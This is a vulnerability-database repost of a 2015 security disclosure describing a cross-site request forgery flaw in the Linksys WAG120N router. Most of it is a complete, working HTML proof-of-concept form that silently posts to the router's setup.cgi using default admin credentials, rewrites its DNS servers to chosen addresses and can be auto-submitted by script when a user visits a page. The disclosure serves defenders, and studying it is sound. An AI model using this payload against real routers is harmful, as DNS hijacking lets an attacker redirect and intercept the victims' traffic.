Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
securityvulnsSecurityvulnsSECURITYVULNS:DOC:32477
HistoryAug 24, 2015 - 12:00 a.m.

Cross site request forgery vulnerability in Linksys WAG120N

2015-08-2400:00:00
vulners.com
16
JSON

Hello all,

i want to share a problem that i found with Linksys router WAG120N. It
could be possible to modify router's configuration when a user visit a
webpage with an specific <form> (it is a similar problem that i sent
some days ago with Comtrend routers:
http://www.securityfocus.com/archive/1/536232&#41;.

Linksys WAG120N doesn’t accept the configuration if it is sent in the
url by method GET. In this case it is necessary to send the
configuration by method POST, so we will need to create an HTML with a
<form> with the parameters that we want to send to the router. We will
put router’s default values and we will change only user and password
and DNS addresses:

<html>
<head>
</head>
<body>
<form name="setup" method="POST"
action="http://admin:[email protected]/setup.cgi&quot;&gt;
…
…
<INPUT type="text" name="PoeUserName" value="admin" maxLength="62" size="26" >
<INPUT type="password" name="PoePasswd" value="admin" maxLength="43"
size="26" >
…
…
<input type="hidden" name="c4_static_dns0_" value="1.2.3.4">
<input type="hidden" name="c4_static_dns1_" value="5.6.7.8">
<input type="hidden" name="c4_static_dns2_" value="9.10.11.12">
…
…
<input type="submit">
</form>
</body>
</html>

If a user visit this HTML, when the form is submitted (it could be
submitted automatically with javascript) the router configuration is
changed (in this example DNS addresses given by DHCP are configured
but any configuration could be modified). The complete HTML code is in
the end.

I am almost sure other models of different manufacturers can be
configured in similar ways. From my point of view, routers interfaces
should only accept new incoming connections to a welcome page. In that
welcome page, a session key should be generated and kept while the
session is open. In this way a user could not go directly to critical
configuration menus. For example, a user could not go directly to the
menu to configure DNS addresses, because he must go to the welcome
page first, where a session key is generated, assigned and validated
when critical configurations are going to be changed.

Mitigation:

Internet Explorer doesn’t accept username and password in the URL of
the form action (I mean the syntax http://user:[email protected]).
Currently chrome and firefox are accepting username and password in
the URL. I don’t know about other browsers.

Complete HTML:

<html>
<head>
</head>
<body>
<form name="setup" method="POST"
action="http://admin:[email protected]/setup.cgi&quot;&gt;
<INPUT type="radio" name="wan_multiplex" value="llc">
<INPUT type="radio" name="wan_multiplex" value="vc">
<INPUT type="radio" name="pppoa_multiplex" value="llc">
<INPUT type="radio" name="pppoa_multiplex" value="vc">
<INPUT type="text" class="num" maxlength="5" size="5" value="" name="wan_pcr">
<INPUT type="text" class="num" maxlength="5" size="5" value="" name="wan_scr">
<INPUT type="radio" name="wan_autodetect" value="enable">
<INPUT type="radio" name="wan_autodetect" value="disable">
<INPUT type="text" class="num" maxlength="3" size="5" value="0" name="wan_vpi">
<INPUT type="text" class="num" maxlength="5" size="5" value="38"
name="wan_vci">
<INPUT type="radio" name="bridged_dhcpenable" value="dhcp">
<INPUT type="radio" name="bridged_dhcpenable" value="fixedip">
<INPUT type="text" name="wan_ip_1" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_ip_2" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_ip_3" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_ip_4" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_mask_1" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_mask_2" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_mask_3" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_mask_4" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_gw_1" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_gw_2" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_gw_3" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_gw_4" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_dns1_1" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_dns1_2" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_dns1_3" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_dns1_4" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_dns2_1" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_dns2_2" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_dns2_3" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="wan_dns2_4" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="PoeUserName" value="admin" maxLength="62" size="26" >
<INPUT type="password" name="PoePasswd" value="admin" maxLength="43"
size="26" >
<INPUT type="text" name="PoeService" value="" maxLength="43" size="26" >
<INPUT type="radio" name="pppoeDODC" value="pppoeDODC">
<INPUT type="text" class="num" name="poeIdleTime" value="5"
maxLength="4" size="4" >
<INPUT type="radio" name="pppoeDODC" value="pppoeKA">
<INPUT type="text" class="num" name="pppoeRedialTime" value="30"
maxLength="3" size="4" >
<INPUT type="text" name="bpas_ip_1" value="" class="num"
maxlength="3" size="3" >
<INPUT type="text" name="bpas_ip_2" value="" class="num"
maxlength="3" size="3" >
<INPUT type="text" name="bpas_ip_3" value="" class="num"
maxlength="3" size="3" >
<INPUT type="text" name="bpas_ip_4" value="" class="num"
maxlength="3" size="3" >
<INPUT type="text" name="bpaUserName" value="" maxLength="62" size="26" >
<INPUT type="password" name="bpaPasswd" value="" maxLength="43" size="26" >
<INPUT type="radio" name="bpaDODC" value="bpaDODC">
<INPUT type="text" name="bpaIdleTime" value="5" class="num"
maxLength="2" size="4" >
<INPUT type="radio" name="bpaDODC" value="bpaKA">
<INPUT type="text" name="bpaRedialTime" value="30" class="num"
maxLength="3" size="4" >
<INPUT type="text" name="hostname" value="" maxlength="30" size="26">
<INPUT type="text" name="domainname" value="" maxlength="62" size="26" >
<INPUT type="text" name="mtu_size" value="1492" class="num"
maxLength="5" size="5" >
<INPUT type="text" name="lan_ip_1" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="lan_ip_2" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="lan_ip_3" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="text" name="lan_ip_4" value="" class="ipnum"
maxlength="3" size="3">
<INPUT type="radio" name="lan_dhcp" value="enable">
<INPUT type="radio" name="lan_dhcp" value="disable">
<INPUT type="radio" name="lan_dhcp" value="relay">
<INPUT type="text" class="ipnum" maxLength="3" size="3" value=""
name="dhcpserver_ip_1">
<INPUT type="text" class="ipnum" maxLength="3" size="3" value=""
name="dhcpserver_ip_2">
<INPUT type="text" class="ipnum" maxLength="3" size="3" value=""
name="dhcpserver_ip_3">
<INPUT type="text" class="ipnum" maxLength="3" size="3" value=""
name="dhcpserver_ip_4">
<INPUT class="ipnum" maxlength="3" size="3" value="100" name="dhcp_start">
<INPUT type="text" class="num" maxlength="3" size="3" value="50"
name="dhcp_num">
<INPUT type="text" class="num" maxlength="4" size="4" value="0"
name="dhcp_lease">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns0_1">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns0_2">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns0_3">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns0_4">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns1_1">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns1_2">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns1_3">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns1_4">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns2_1">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns2_2">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns2_3">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="static_dns2_4">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="wan_wins_1">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="wan_wins_2">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="wan_wins_3">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value=""
name="wan_wins_4">
<INPUT type="checkbox" name="auto_dls" value="auto_dls">
<input type="hidden" name="h_ethwan_enable" value="disable">
<input type="hidden" name="c4_wan_ip_" value="">
<input type="hidden" name="c4_wan_mask_" value="">
<input type="hidden" name="c4_wan_gw_" value="">
<input type="hidden" name="c4_wan_dns1_" value="">
<input type="hidden" name="c4_wan_dns2_" value="">
<input type="hidden" name="c4_lan_ip_" value="192.168.1.1">
<input type="hidden" name="c4_dhcpserver_ip_" value="">
<input type="hidden" name="c4_static_dns0_" value="1.2.3.4">
<input type="hidden" name="c4_static_dns1_" value="5.6.7.8">
<input type="hidden" name="c4_static_dns2_" value="9.10.11.12">
<input type="hidden" name="c4_wan_wins_" value="">
<input type="hidden" name="c4_bpas_ip_" value="">
<input type="hidden" name="h_bpaDODC" value="bpaDODC">
<input type="hidden" name="h_wan_encapmode" value="pppoa">
<input type="hidden" name="h_wan_multiplex" value="llc">
<input type="hidden" name="h_pppoa_multiplex" value="llc">
<input type="hidden" name="h_wan_qostype" value="ubr">
<input type="hidden" name="h_dsl_mode" value="a">
<input type="hidden" name="h_wan_autodetect" value="enable">
<input type="hidden" name="h_bridged_dhcpenable" value="dhcp">
<input type="hidden" name="h_pppoeDODC" value="pppoeDODC">
<input type="hidden" name="h_mtu_type" value="auto">
<input type="hidden" name="h_lan_mask" value="0">
<input type="hidden" name="h_lan_dhcp" value="enable">
<input type="hidden" name="h_time_zone" value="+0 2">
<input type="hidden" name="h_auto_dls" value="disable">
<input type="hidden" name="PppoeUserName" value="">
<input type="hidden" name="PppoePasswd" value="">
<input type="hidden" name="PppoeService" value="">
<input type="hidden" name="PppoaUserName" value="admin">
<input type="hidden" name="PppoaPasswd" value="admin">
<input type="hidden" name="oldip" value="192.168.1.1">
<input type="hidden" name="h_upgrade_langpkt" value="1">
<input type="hidden" name="todo" value="save">
<input type="hidden" name="this_file" value="Setup.htm">
<input type="hidden" name="next_file" value="Setup.htm">
<input type="hidden" name="message" value="">
<input type="hidden" name="h_wps_cur_status" value="">
<input type="submit">
</form>
</body>
</html>

JSON